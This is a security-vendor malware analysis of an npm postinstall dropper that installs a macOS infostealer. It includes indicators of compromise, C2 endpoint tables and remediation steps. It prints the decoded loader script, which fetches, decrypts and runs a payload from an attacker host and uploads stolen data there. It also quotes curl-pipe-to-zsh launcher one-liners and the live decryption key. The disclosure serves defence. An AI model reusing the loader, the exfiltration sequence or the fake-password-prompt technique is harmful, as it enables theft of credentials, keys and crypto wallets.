@copilot-mcp/apex: A macOS Infostealer Re-Published on npm After Takedown
Table of Contents
Resolution / Status: The npm security team already removed the original dropper,
@apexfdn/apex, and replaced it with a0.0.1-securityplaceholder that states outright the package “contained malicious code.” The operator re-published the same dropper under a new scope,@copilot-mcp/apex, about 11 hours later, and pushed 20+ versions (1.0.0through1.0.22+) within about 8 hours. Update: npm has since removed@copilot-mcp/apexas well; the package now returns “Not found” on the registry. The takedown does not close the campaign: the GitHub org, both repositories, the downloadable binaries, and the command-and-control server atapex-arena-router.comare all still live and responding as of this update, and the cover package@apexfdn/copilot-mcpremains published and unaffected.
TL;DR
@copilot-mcp/apex is a postinstall dropper that installs a macOS infostealer on any machine that runs npm install or npx @copilot-mcp/apex. It is not a first attempt. npm’s security team already removed the same code once, published under the name @apexfdn/apex, and the operator answered by moving the dropper to a new scope rather than stopping. The campaign runs three npm-adjacent surfaces built by one operator:
| Package / vector | Role | Status |
|---|---|---|
@apexfdn/apex | Original postinstall dropper | Removed by npm; now a 0.0.1-security placeholder |
@copilot-mcp/apex | Same dropper, re-published under a new scope | Also removed by npm as of this update; GitHub binaries still live |
@apexfdn/copilot-mcp | The advertised MCP server (“diligence tools”) | Payload-free, but same-operator front; still live on npm |
arena.apexfdn.xyz/api/copilot/mcp | Hosted remote MCP endpoint (Bearer token) | No-install vector, sends tokens to attacker infra |
On macOS, the dropper’s second stage decrypts and runs an AppleScript payload through osascript. The decrypted payload is a 707-line AMOS-family stealer: it phishes the login password through a fake system prompt, then harvests browser credentials, 20+ crypto wallets, SSH keys, AWS and Kubernetes credentials, the login Keychain, Telegram, and shell history into /tmp/osalogging.zip and uploads it over chunked HTTPS PUT to attacker infrastructure. A LaunchAgent left behind after the run polls the attacker’s command-and-control server every 60 seconds, so the infection outlives the initial exfiltration. The lure targets Web3 and crypto founders with a “free LLM credits” AI-advisor pitch.
Impact:
- Runs on
npm installornpx, with no user interaction beyond the install itself - Downloads a ~120-150MB platform binary from a GitHub repo different from the one the package advertises as its source, pinned to a static release tag so the payload can be swapped server-side without a new npm publish
- On macOS, phishes the login password through a fake system dialog, then steals browser credentials and cookies from 13 Chromium-based and 4 Gecko-based browsers plus Safari, 20+ desktop crypto wallets and 100+ wallet browser extensions, SSH keys, AWS and Kubernetes credentials, the login Keychain, Telegram, Apple Notes, and shell history, grabs documents and key/certificate files from Desktop/Documents/Downloads, fingerprints the machine (model, chip, serial, UUID, SIP status), and exfiltrates everything as
/tmp/osalogging.zipover HTTPS - Installs a LaunchAgent disguised as “System Notifications” that polls a live command-and-control endpoint every 60 seconds, so the malware is a standing backdoor, not a one-shot theft
- Already survived one npm takedown: removed as
@apexfdn/apex, live again as@copilot-mcp/apexwithin 11 hours; npm has since removed that re-publish too, but the GitHub org, binaries, and C2 server remain live - On Linux and Windows the macOS theft path does not fire, but
postinstallstill executes an unreviewed downloaded binary; the campaign is not safe on any platform
Indicators of Compromise (IoC):
| Indicator | Value |
|---|---|
| npm package (malicious, removed by npm) | @copilot-mcp/apex, versions 1.0.0-1.0.22+; registry now returns “Not found” |
| npm package (malicious, removed by npm, earlier) | @apexfdn/apex, 34 versions published since 2026-07-05, now a 0.0.1-security placeholder |
| npm package (same-operator front) | @apexfdn/copilot-mcp, still live |
| Hosted remote-MCP endpoint | hxxps://arena[.]apexfdn[.]xyz/api/copilot/mcp (Bearer token) |
| C2 / exfil domain | update[.]apex-arena-router[.]com |
| C2 server IP / hosting | 172.93.185.150, xTom GmbH (AS3214), Frankfurt am Main, Germany |
| C2 stack | Caddy reverse proxy in front of Uvicorn/FastAPI; wildcard Let’s Encrypt cert for *.apex-arena-router.com; /openapi.json publicly exposes the full API schema |
| C2 endpoints (unauth or upload-token gated) | /loader.sh, /payload.enc, /v1/asset/{id}/init (POST), /v1/asset/{id} (PUT), /v1/asset/{id}/segment/{n} (PUT), /v1/agent/ping (GET, live command polling), /v1/capture (POST, no auth) |
| C2 admin endpoints (X-Internal-Key gated) | /status, /register, /subdomain/{slug} (DELETE) — schema suggests a multi-tenant panel that provisions a subdomain per campaign |
| Dropped file | /tmp/osalogging.zip |
| Staging directory | /tmp/sync<random>/ |
| Persistence | LaunchAgent ~/Library/LaunchAgents/com.system.notifications.agent.plist (label com.system.notifications.agent, StartInterval 60s), running a fake app bundle at ~/Library/Application Support/System/System Notifications.app (bundle ID com.system.notifications.helper.bld013), registered with lsregister |
| Encrypted stealer payload | payload.enc, SHA256 ecd1113fae1ede9869afd9d1af612bab7f1a2054e5c45a346e18c107c22b9164 (AES-256-CBC, SHA-256 key derivation, key = upload token) |
| AES-256 key / upload token | 5c6f24c905ae3883355a26fceac3dda0d0dfe67ba8e1220ebe784a29544c6ee4 |
| GitHub org / repos | Apex-Foundation (org, created 2026-04-30); Apex-Foundation/copilot, weaponized, a fork of can1357/oh-my-pi; Apex-Foundation/copilot-mcp, the advertised (clean) source; awesome-mcp-servers, awesome-crypto-mcp-servers, awesome-mcp-servers2 (zero-star SEO padding) |
| GitHub user (repo owner) | apexfdn, created 2025-10-13, profile location “Lodnon” [sic] |
| Release assets | apex-linux-x64, apex-darwin-arm64, apex-darwin-x64, apex-windows-x64, apex-helper-darwin, apex-auth-darwin, pi_natives.win32-x64-baseline.node |
| npm accounts | copilotapex, apex-fdn |
| Emails | chefkecharlie[at]gmail[.]com, arena[at]apexfdn[.]xyz, contact[at]apexfdn[.]xyz |
| Related domains | apexfdn[.]xyz, arena[.]apexfdn[.]xyz, docs[.]apexfdn[.]xyz |
| Cover metadata (legitimate, not attacker infra) | omp.sh, the real homepage of oh-my-pi, referenced in package metadata as cover |
| Social | Telegram @charlereum, @apex_accelerator; X @AcceleratorApex; Medium @ApexAccelerator; Crunchbase apexfdn |
| Tarball SHA1 | 1.0.0: 233f90180b529aa32911901e5222e9ed9c3cd24c; 1.0.19: 3b9a880ae4e1c5b7bbd68e118a1c3c8b592f7bfb |
Analysis
A campaign built on an aged, legitimate-looking brand
The GitHub org Apex-Foundation and the package @apexfdn/copilot-mcp v0.1.0 both appeared on 2026-04-30. For about three months, @apexfdn/copilot-mcp operated as ordinary open source: badges, a Glama listing score, a “privacy contract” section in its docs, and around 229 downloads a week. None of that code is malicious. Its job was to make the brand look established before the dropper arrived.
The dropper rides that brand two ways. First, through naming: the scope @copilot-mcp borrows the credibility of GitHub Copilot without belonging to GitHub. Second, through the tool itself: the binary the dropper installs comes from Apex-Foundation/copilot, a fork of can1357/oh-my-pi, a real coding agent by Can Boluk and Mario Zechner. The fork gives victims a working AI coding tool, which is what makes the install look successful and removes any reason to look closer.
The pitch is “Apex Foundation,” a Web3 founder AI advisor offering free Claude and Gemini credits, hosted at arena.apexfdn.xyz/dashboard/copilot. Crypto founders are the target audience: high-value victims who hold wallets and API keys worth stealing.
| When (UTC) | Event |
|---|---|
| 2026-04-30 23:03 | GitHub org Apex-Foundation and @apexfdn/copilot-mcp v0.1.0 created, the payload-free cover |
| 2026-07-05 11:53 | First dropper version, @apexfdn/apex 1.0.0, published to npm |
| 2026-07-05 – 2026-07-21 | 33 more versions ship under @apexfdn/apex, live on npm for roughly two and a half weeks |
| 2026-07-21 21:00 | npm security team removes @apexfdn/apex for malicious code |
| 2026-07-22 08:04 | Operator re-publishes the same dropper as @copilot-mcp/apex |
| 2026-07-22 08:04-16:48 | 20+ versions (1.0.0-1.0.22+) ship, A/B-testing the macOS launcher |
| 2026-07-22 (after 17:53) | npm removes @copilot-mcp/apex as well; registry lookups return “Not found” |
Takedown and re-publish
npm’s own security team confirms the verdict. The 0.0.1-security placeholder that now occupies @apexfdn/apex reads verbatim: “This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.” The npm registry’s own version history shows the dropper wasn’t a same-day catch: @apexfdn/apex published its first version on 2026-07-05 and shipped 33 more before npm acted on 2026-07-21, meaning the package sat installable for about two and a half weeks before removal. Whether every one of those versions carried the malicious postinstall isn’t something the security placeholder discloses, but the takedown clearly came well after the package’s initial publish, not immediately after it.
The operator’s response took about 11 hours: publish the identical dropper under @copilot-mcp/apex. The move doubles as rebranding, since the new scope trades on GitHub Copilot’s name where the old one traded on the operator’s own. That republish has since been removed by npm too, confirmed by the registry returning “Not found” for the package, so the name-and-resubmit cycle has now run twice.
The GitHub repository at Apex-Foundation/copilot never caught up. Its README still tells users to run npx @apexfdn/apex, the name npm already removed. The same README documents a second, no-install vector: a hosted remote MCP server at https://arena.apexfdn.xyz/api/copilot/mcp that a client reaches with a Bearer token instead of installing anything. The stale instructions confirm the republish happened faster than the documentation, and the hosted endpoint means the campaign does not depend on npm distribution at all — a fact reinforced by both npm packages now being gone while the GitHub binaries and hosted MCP endpoint still respond.
The two package roles, same operator
@copilot-mcp/apex and @apexfdn/copilot-mcp look like two different projects. They are run by one operator. The dropper’s maintainer email is [email protected]; the cover package’s maintainer email is [email protected], same domain. Both point to the same GitHub repo home and the same homepage, arena.apexfdn.xyz/dashboard/copilot. The exfil domain apex-arena-router.com reuses the brand’s own “apex arena” identity rather than picking an unrelated name. And the dropper’s apex.cjs --mcp-stdio code path launches @apexfdn/copilot-mcp directly, a flow that only works if the same party controls both packages.
That link is invisible to a lockfile or SBOM. @apexfdn/copilot-mcp is not declared as a dependency of @copilot-mcp/apex; the dropper reaches it at runtime through require.resolve and npx, so nothing in package.json shows the connection. A scanner that only reads declared dependencies sees one isolated package.
Neither package impersonates the other. What both packages impersonate are two real projects: GitHub Copilot, through the @copilot-mcp scope name, and oh-my-pi, through the forked repo, the omp.sh homepage reference, and the author/contributor fields borrowed from its real maintainers.
@apexfdn/copilot-mcp itself contains no malicious code. It is not, for that reason, a safe or independent package. It forwards a user’s token and extracted document excerpts to arena.apexfdn.xyz, the operator’s own domain. Treat it as attacker-controlled infrastructure rather than a clean alternative.
The postinstall dropper chain
@copilot-mcp/apex declares "postinstall": "node install.cjs", which npm runs on install with no prompt. install.cjs downloads a platform-specific binary, 120-150MB, from Apex-Foundation/copilot/releases/download/v1.0.0/apex-<target> and marks it executable.
The source you can read is not the code that runs. The package’s repository field points at Apex-Foundation/copilot-mcp, benign TypeScript that anyone can review on GitHub. The binary comes from a different repository, Apex-Foundation/copilot, the oh-my-pi fork. Reading the advertised source tells a reviewer nothing about what the installed binary does.
install.cjs hardcodes RELEASE_VERSION to '1.0.0', so every npm version published so far, 1.0.0 through 1.0.22, fetches from the same GitHub release tag. That release’s assets were re-uploaded at 16:46 UTC, after several of those npm publishes had already gone out. The operator can replace the binary on GitHub without touching npm at all; the npm tarball stays static and keeps looking clean under review, while the thing it downloads changes underneath it. A bundled .sha256 check verifies that the download was not corrupted in transit. It says nothing about who built the file, and provides no authenticity guarantee.
On Windows, the same installer pulls a native addon, pi_natives.win32-x64-baseline.node, from the same release. apex.cjs later runs the downloaded binary; its --mcp-stdio mode shells out to the clean @apexfdn/copilot-mcp cover, which is why the tool appears to work.
This analysis did not reverse-engineer the large platform binary itself; it is a repackaged oh-my-pi used as functional cover, and no confirmed malicious code was found inside it beyond the postinstall behavior described here. That is not a clearance. install.cjs fetches and executes it with no verification of who built it, on Linux and Windows as well as macOS, so running the package is unsafe on every platform regardless of what the binary itself does.
The macOS stealer: loader.sh
The macOS payload is a #!/bin/zsh script whose body is a single base64 blob, decoded here without ever piping it to a shell:
#!/bin/zshdaemon_function() { exec </dev/null; exec >/dev/null; exec 2>/dev/null # silence + detach local host="https://update.apex-arena-router.com" local upload_token="5c6f24c905ae3883355a26fceac3dda0d0dfe67ba8e1220ebe784a29544c6ee4" local file="/tmp/osalogging.zip" local url_payload="https://update.apex-arena-router.com/payload.enc" local url_upload_base="https://update.apex-arena-router.com/v1/asset"
# fetch encrypted payload -> AES-256-CBC decrypt (key = upload_token) -> run via osascript curl -fsSL --max-time 60 -H "User-Agent: Mozilla/5.0 ..." "${url_payload}" \ | openssl enc -aes-256-cbc -d -pass pass:"${upload_token}" 2>/dev/null | osascript [ $? -ne 0 ] && return 1 [[ ! -f "$file" || ! -s "$file" ]] && return 1 /usr/bin/zip -T "$file" >/dev/null 2>&1 || return 1
# exfiltrate /tmp/osalogging.zip: POST init, then PUT with up to 8 retries local total_size file_sha upload_id ok=0 attempt=1 http_code total_size=$(stat -f %z "$file" 2>/dev/null || stat -c %s "$file") file_sha=$(shasum -a 256 "$file" | awk '{print $1}') upload_id="$(date +%s)-${RANDOM}-$$" curl -fsS -X POST "${url_upload_base}/${upload_id}/init" -H "X-Upload-Token: ${upload_token}" \ -H "X-File-Size: ${total_size}" -H "X-File-Sha256: ${file_sha}" --max-time 30 >/dev/null || return 1 while (( attempt <= 8 && ok == 0 )); do http_code=$(curl -fsS -X PUT --data-binary @"$file" -H "X-Upload-Token: ${upload_token}" \ -H "X-File-Size: ${total_size}" -H "X-File-Sha256: ${file_sha}" --max-time 600 \ -o /dev/null -w "%{http_code}" "${url_upload_base}/${upload_id}" 2>/dev/null) [[ "$http_code" =~ ^2 ]] && ok=1 || ((attempt++)) (( ok == 0 && attempt <= 8 )) && sleep 5 done (( ok == 1 )) || return 1 rm -f "$file"; return 0 # anti-forensics cleanup}if daemon_function "$@" &; then exit 0; else exit 1; fiThe AES key and the “upload token” sent back in every exfil request are the same string. The script fetches payload.enc, decrypts it with that key, and pipes the plaintext into osascript, an in-memory AppleScript/JXA stage never written to disk as a separate file. That stage produces /tmp/osalogging.zip, which the script then uploads in a POST-init-then-PUT sequence with up to eight retries before deleting the file.
The stealer payload: what it steals
payload.enc uses the same key the loader prints, the upload_token, so we decrypted it offline: openssl enc -aes-256-cbc -d -md sha256 -pass pass:<token>, output written to a file, never piped to osascript. It decrypts to a 707-line AppleScript from the AMOS (“Atomic Stealer”) family. The script runs the theft the loader only sets up.
The script takes the victim’s login password first. It shows a native-looking prompt, “Please enter your password to continue,” titled “macOS” with the system lock icon, and loops until the entry validates against the real account through dscl . authonly, with a 150-second timeout per attempt. It saves that password to an internal variable and reuses it to unlock the login Keychain, from which it pulls the Safe Storage encryption keys that decrypt Chromium-family browser cookies and saved passwords.
It then stages everything under /tmp/sync<random>/ and collects:
- Cookies, autofill, saved passwords, and the Local State decryption keys from 13 Chromium-based browsers: Chrome (plus Beta, Canary, and Dev channels), Chromium, Brave, Edge, Opera, Opera GX, Vivaldi, Yandex, Arc, and CocCoc
- The equivalent data from 4 Gecko-based browsers, Firefox, Zen, LibreWolf, and Waterfox:
key4.db,logins.json,cookies.sqlite,formhistory.sqlite,places.sqlite, andcert9.db - Browser-extension wallets across 100+ known extension IDs, plus Safari cookies
- 20+ desktop crypto wallets, including Exodus, Electrum, Atomic, Guarda, Coinomi, Sparrow, Wasabi, Ledger Live, Trezor Suite, Trust Wallet, Zengo, BlueWallet, Armory, Electron Cash, Monero, and the Bitcoin, Litecoin, Dogecoin, and Dash Core clients
- SSH keys (
~/.ssh), AWS credentials (~/.aws), and Kubernetes configs (~/.kube), none of which are crypto-specific — this reaches any developer or DevOps machine the malware lands on, not just Web3 wallets - The login Keychain (all
*.keychain-dbfiles), iCloud keys, Apple Notes, and the full Telegram Desktoptdatasession directory - A file grabber that scans Desktop, Documents, and Downloads for
.pdf,.docx,.doc,.wallet,.key,.pem, and.ovpnfiles, capped at 10MB per file - Shell history and configuration:
.zshrc,.zsh_history,.bash_history,.gitconfig - A system-recon snapshot: hardware/software profile (model, chip, serial number, hardware UUID, SIP status, firmware version), the running process list, and installed/running applications
For persistence, it drops a gzip-compressed, fake application bundle to ~/Library/Application Support/System/System Notifications.app (bundle ID com.system.notifications.helper.bld013), registers it with Launch Services via lsregister, and installs a LaunchAgent at ~/Library/LaunchAgents/com.system.notifications.agent.plist with a 60-second StartInterval. That LaunchAgent is not just persistence bookkeeping: it polls the attacker’s /v1/agent/ping endpoint on the same C2 host every 60 seconds, so an infected machine keeps checking in for follow-on commands long after the original npm install finished.
Finally, it archives the staging directory with ditto -c -k --sequesterRsrc <dir> /tmp/osalogging.zip and clears /tmp/sync*. That archive is the same /tmp/osalogging.zip the loader uploads, which closes the chain from npm install to loader to stealer to exfiltration.
Live delivery-technique evolution
The stealer daemon above has not changed across versions. The launcher that starts it has, and the operator appears to be testing which version evades detection best:
| Version | Launcher | Technique |
|---|---|---|
1.0.0 | Inline /bin/zsh -c 'curl -fsSL .../loader.sh | zsh' | Direct one-liner, shown with a “your Mac may ask for your password” prompt |
1.0.19 | Downloads apex-helper-darwin (~63MB) from the GitHub release, chmod 0755, runs it via spawnSync, deletes it | Moves the same logic into a compiled helper to dodge static detection of a curl | zsh string |
1.0.21-1.0.22 | osascript -e 'do shell script "curl -fsSL .../loader.sh | zsh"' | Triggers macOS’s native password dialog; 1.0.22 runs it detached: true, stdio: 'ignore', ps.unref(), so it survives after the install returns and produces no visible output |
Twenty or more versions shipped within about 8 hours on 2026-07-22, and the package kept bumping during this analysis. No published version is safe. The operator keeps iterating, so blocking should target the package name, not a version range.
Hunting the campaign
Two ownership pivots bounded the scope: npm’s maintainer:copilotapex and maintainer:apex-fdn searches, and the authoritative org-ownership listings for the copilot-mcp and apexfdn npm orgs. Both returned the same two live packages and nothing else. The GitHub org Apex-Foundation holds five repositories and one member; three are awesome-* repos that pad legitimacy and SEO, copilot-mcp is the clean cover source, and only copilot (the oh-my-pi fork) carries the weaponized binary.
A web search for the C2 domain and the package name returned nothing. The package was about eight hours old at the time of the search, and threat-intel indexes and blog coverage lag behind a same-day drop by days or weeks. A broader npm text sweep across the campaign’s own vocabulary (apex, web3, founder, diligence, copilot, arena, solidity) and its impersonated identity (oh-my-pi, omp.sh) surfaced only the legitimate oh-my-pi ecosystem and unrelated projects. No third live package matched the fingerprint.
One limitation deserves a direct statement. The org-ownership listing missed @apexfdn/apex, because npm had already seized the name and transferred it to npm-support once the package was removed. Ownership queries only see what an account currently owns, not what has already been taken down, so they undercount removed siblings. The name @apexfdn/apex surfaced only because the attacker’s own GitHub README still referenced it. Pivoting on attacker-authored docs and removed-package placeholders catches what live ownership records miss.
A second limitation has no workaround from search alone: npm’s registry search does not index install-script code or postinstall behavior. It cannot find a sibling published under an unrelated, unknown account that reuses the same payload but ships under a different name. Finding that kind of sibling needs code- or behavior-level scanning across the registry, not metadata search.
The command-and-control server is a live, multi-tenant panel
The C2 host, update.apex-arena-router.com, resolves to 172.93.185.150, hosted by xTom GmbH (AS3214) in Frankfurt, Germany, behind a Caddy reverse proxy in front of a Uvicorn-served FastAPI application, secured with a wildcard Let’s Encrypt certificate for *.apex-arena-router.com. The operator left /openapi.json reachable with no authentication, and that file discloses the application’s entire route table:
| Endpoint | Method | Auth | Purpose |
|---|---|---|---|
/status | GET | X-Internal-Key (admin) | Panel status |
/register | POST | X-Internal-Key (admin) | Register a new campaign/subdomain |
/subdomain/{slug} | DELETE | X-Internal-Key (admin) | Remove a campaign |
/v1/asset/{upload_id}/init | POST | X-Upload-Token | Initialize an exfil upload |
/v1/asset/{upload_id} | PUT | X-Upload-Token | Receive a stolen-data archive |
/v1/asset/{upload_id}/segment/{chunk_index} | PUT | X-Upload-Token | Receive a chunked upload segment |
/v1/agent/ping | GET | X-Upload-Token | Persistence agent check-in / command polling |
/v1/capture | POST | None | Unauthenticated capture sink, accepts arbitrary POST data |
/{path} | GET/HEAD | None | Static file serving (loader.sh, payload.enc, and similar) |
The /register request schema (RegIn) accepts a slug, build_id, static files/files_b64, meta, and an upload_token, which points to a multi-tenant design: the operator can spin up a new subdomain and a fresh upload token per campaign from one panel, reusing the same backend and wildcard certificate. /v1/agent/ping is live and functioning as a command channel, not just a heartbeat: a GET request with the malware’s own upload token returns {"cmd":"idle"}, confirming the LaunchAgent’s 60-second poll is checking in with a real, responsive command endpoint. /v1/capture accepts unauthenticated POST data and returns an acknowledgement, a second, looser collection path with no token requirement at all. The admin routes (/status, /register, /subdomain/{slug}) are gated behind a separate X-Internal-Key that is not the same value as the upload token embedded in the malware, so the campaign’s roster of victims and other tenant subdomains is not something the exposed schema hands over.
GitHub’s own release-asset download counters give a narrow, verifiable read on scale, with a hard caveat: the Apex-Foundation/copilot release backing the current binaries was created and its assets re-uploaded on 2026-07-22, so any counts reflect only downloads since that point, not the roughly two and a half weeks @apexfdn/apex was separately live on npm beforehand. Within that narrow window, the macOS ARM64 asset shows a single download, Linux x64 shows a handful, and Windows x64 shows one — consistent with a campaign that is still in its early, low-volume hours under the current binary, not a measure of total victims across the whole campaign’s lifetime.
Detection with vet
vet runs malicious-package analysis that inspects install-script and runtime behavior alongside code content, not just package metadata. That matters for this campaign: the traits that make @copilot-mcp/apex malicious are a postinstall hook downloading a platform binary from a GitHub release URL, a macOS-gated branch that pipes curl into zsh or shells out through osascript, AES-encrypted payload fetches, and writes to /tmp/*.zip followed by an HTTP upload. None of that shows up by reading the package name or the version number, and none of it changes when the operator republishes under a new scope. Behavior-based analysis flags the pattern independent of which name or version it currently wears.
Remediation
- Do not install
@copilot-mcp/apexor@apexfdn/apexat any version, even though npm has now removed both. Block the package names outright, since the operator has already republished once and the GitHub binaries behind them are still live. - Block
update.apex-arena-router.comand theapexfdn.xyzdomain family at DNS, proxy, or EDR. - Treat
@apexfdn/copilot-mcpand the hostedarena.apexfdn.xyz/api/copilot/mcpMCP endpoint as attacker infrastructure, not as a safe alternative. - If the package ran on a Mac, assume compromise. Check for
/tmp/osalogging.zip, a~/.apex/directory, the LaunchAgent at~/Library/LaunchAgents/com.system.notifications.agent.plist, and the fake app bundle at~/Library/Application Support/System/System Notifications.app. Kill and remove the LaunchAgent first, since it actively polls the attacker’s C2 for commands every 60 seconds. Then rotate browser-saved credentials, SSH keys, AWS and Kubernetes credentials, cloud and API tokens, and crypto wallet seed phrases.
Conclusion
npm’s removal of @apexfdn/apex is proof the takedown worked, and proof it was not enough. The operator kept the payload, kept the infrastructure, and only changed the name, moving from a domain it built for three months to a scope that borrows GitHub Copilot’s name instead. Twenty-plus version bumps in a single day show a team still tuning the macOS launcher rather than one that walked away after getting caught. npm has since taken down that second package too, but the GitHub org, the weaponized binary, the hosted MCP endpoint, and a live, multi-tenant command-and-control panel behind it are all still reachable — the operator lost two package names and kept everything that matters.
Package-name takedowns remove a symptom. The dropper, the AES key, the C2 domain and its still-live command channel, and the oh-my-pi fork it repackages are the disease, and all of them remain active as of this writing even with both npm packages gone. Anyone who scans dependencies by name and version history will miss the resubmission, and will miss it again the next time the operator picks a third scope. Anyone who scans install-script behavior will not.
- vet
- malware
- npm
- supply-chain
Author
Kunal Singh
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering
AsyncAPI Packages Compromised with Miasma RAT
Four @asyncapi npm packages were published with obfuscated malware on July 14, 2026 via compromised CI workflows. The payload downloads Miasma RAT, a credential stealer targeting browsers, SSH keys,...
nodemon-sudo: an npm Backdoor With No Install Script
nodemon-sudo copies the real nodemon byte for byte, adds nothing malicious to its own code, and injects one extra dependency, tslint-conf, a repackaged pino logger carrying a backdoor. There is no...
Official jscrambler npm Package Compromised Across Multiple Releases
The official jscrambler npm package (60K monthly downloads) was trojanized starting at 8.14.0 through an npm account or CI compromise. The attacker republished the same Rust infostealer across five...
@marketfront: 25 npm Packages Reuse a Known Lure
On July 1, 2026, npm user marketfront batch-published 25 packages carrying the same README lure SafeDep has tracked across four earlier accounts (mr.4nd3r50n, pik-libs, t-in-one, emcd-vue): "Internal...
Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.